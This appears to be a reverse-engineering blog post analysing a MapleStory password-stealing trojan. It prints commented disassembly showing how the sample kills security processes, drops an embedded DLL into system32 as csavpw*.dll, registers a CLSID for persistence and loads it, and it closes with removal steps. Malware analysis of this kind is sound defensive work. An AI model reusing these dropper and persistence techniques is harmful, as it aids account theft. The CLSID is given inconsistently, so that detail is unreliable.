    00401499 push eax
    0040149A push esi
    0040149B push 1F0FFFh
    004014A0 call ds:OpenProcess
    004014A6 cmp eax, esi
    004014A8 jz short loc_4014B2
    004014AA push esi
    004014AB push eax
    004014AC call ds:TerminateProcess
    004014B2 add edi, 4
    004014B5 cmp edi, offset dword_40115C ;Next process to search
    004014BB jl short loc_40148E
    004014BD call sub_40131E ;AdjustTokenPrivilege

    The searched executables: Twister.exe, FilMsg.exe

    0040151B call ds:GetSystemDirectoryA
    00401521 mov edx, offset asc_401204 ; "\\"
    00401526 lea ecx, [ebp-11Ch] ;points to the System Directory
    0040152C call sub_40174A
    00401543 call ds:GetModuleHandleA
    00401549 push offset aMndll ; "MNDLL"
    0040154E push 65h
    00401550 push eax
    00401551 mov [ebp+8], eax
    00401554 call ds:FindResourceA
    0040155A push eax ;00402048
    0040155B mov [ebp-4], eax
    0040155E push dword ptr [ebp+8]
    00401561 call ds:SizeofResource
    00401567 push dword ptr [ebp-4]
    0040156A mov [ebp-18h], eax
    0040156D push dword ptr [ebp+8]
    00401570 call ds:LoadResource
    00401576 push eax ;00402070
    00401577 call ds:LockResource
    0040157D cmp eax, esi
    0040157F mov [ebp-4], eax
    00401582 jnz short loc_40158E
    00401584 push dword ptr [ebp-10h]
    00401587 call edi ; CloseHandle
    00401589 jmp loc_4016C6

    The code here is clear, after enstablishing the System Directory, searches for a Resource type "MNDLL" and next loads it, the LoadResource give us an intersing location 00402070, that's an executable image, exploring this executable we can see some intersing strings http://www.poptang.com/ekey.Bind ConfigAreaName game.ini
    SOFTWARE\Wizet\MapleStory


    004015A6 add esp, 0Ch
    004015A9 lea edx, [ebp-428h]
    004015AF lea ecx, [ebp-11Ch]
    004015B5 call ScansFor ;call sub_40176F (searches for csavpw0.dll)
    004015BA lea edx, [ebp-324h] ; SystemDirectory
    004015C0 lea ecx, [ebp-11Ch] ; csavpw0.dll
    004015C6 call sub_40174A
    004015CB lea eax, [ebp-11Ch]
    004015D1 push eax
    004015D2 call dseleteFileA
    004015D8 push esi
    004015D9 push 80h
    004015DE push 2
    004015E0 push esi
    004015E1 push esi
    004015E2 lea eax, [ebp-11Ch]
    004015E8 push 40000000h
    004015ED push eax
    004015EE call ds:CreateFileA
    004015F4 cmp eax, 0FFFFFFFFh
    004015F7 mov [ebp-14h], eax
    004015FA jnz short loc_401605
    004015FC inc dword ptr [ebp+8]
    004015FF cmp dword ptr [ebp+8], 0Ah
    00401603 jb short loc_401591 ;Go to the next cycle

    If there is another csavpw0.dll, is firstly deleted and next recreated, if creation fails is performed the same routine for csavpw1.dll, csavpw2.dll.

    In my case csavpw2.dll is founded

    00401608 push esi
    00401609 push ecx
    0040160A push dword ptr [ebp-18h] ; Size: 4C00
    0040160D push dword ptr [ebp-4] ; Buffer: 00402070
    00401610 push eax
    00401611 call ds:WriteFile
    0040161A call CloseHandle
    0040161C push ebx
    0040161D call ds:Sleep
    00401623 lea ecx, [ebp-11Ch] ;C:\WINDOWS\system32\csavpw2.dll

    csavpw2.dll is filled up with the discovered Resource.

    00401630 push ebx
    00401631 lea eax, [ebp-220h]
    00401637 push offset aCzxsderdaksi_0 ; "CZXSDERDAKSIICS_%d"
    0040163C push eax
    0040163D call ds:wsprintfA
    00401643 add esp, 0Ch
    00401646 lea eax, [ebp-220h]
    0040164C push eax ;CZXSDERDAKSIICS_0
    0040164D push esi
    0040164E push 1F0003h
    00401653 call ds:OpenEventA
    00401659 cmp eax, esi
    0040165B jz short loc_401666
    0040165D push eax
    0040165E call CloseHandle
    00401660 inc ebx
    00401661 cmp ebx, 0Ah
    00401664 jb short loc_401630

    As usual it searches for CZXSDERDAKSIICS_0, CZXSDERDAKSIICS_1, CZXSDERDAKSIICS_2 when the OpenEvent FAILS we have this:

    0040166C push 104h
    00401671 push eax
    00401672 push esi
    00401673 call ds:GetModuleFileNameA
    00401679 lea eax, [ebp-220h] ;CZXSDERDAKSIICS_2
    0040167F lea edx, [ebp-52Ch] ;Path of our virus executable
    00401685 push eax ;CZXSDERDAKSIICS_2
    00401686 lea eax, [ebp-11Ch]
    0040168C push eax ;C:\WINDOWS\system32\csavpw2.dll
    0040168D mov ecx, offset a8dfa290443ae89 ; "{8DFA2904-43AE-8929-9664-4347554D24B6}"
    00401692 call sub_40124E

    -> call sub_40124E Creates a RegKey in HKEY_CLASSES_ROOT with CLSID\{8DFA2904-97C43AE-8929-9664-4347554D24B6} and setted some values as ExeModuleName, DllModuleName, SobjEventName

    004016B5 push eax ; csavpw2.dll
    004016B6 call edi ; LoadLibraryA
    004016B8 push esi
    004016B9 call ds:ExitProcess
    004016BF push eax
    004016C0 call ds:CloseHandle

    Trojan Removal


    1) Delete the Trojan file: csavpw0/1/2/etc.dll

    2) Delete the following CLSID CLSID\{8DFA2904-97C43AE-8929-9664-4347554D24B6}

    See you to the next post..
    Categories
    Reverse Engineering
Page 1 of 2 12 LastLast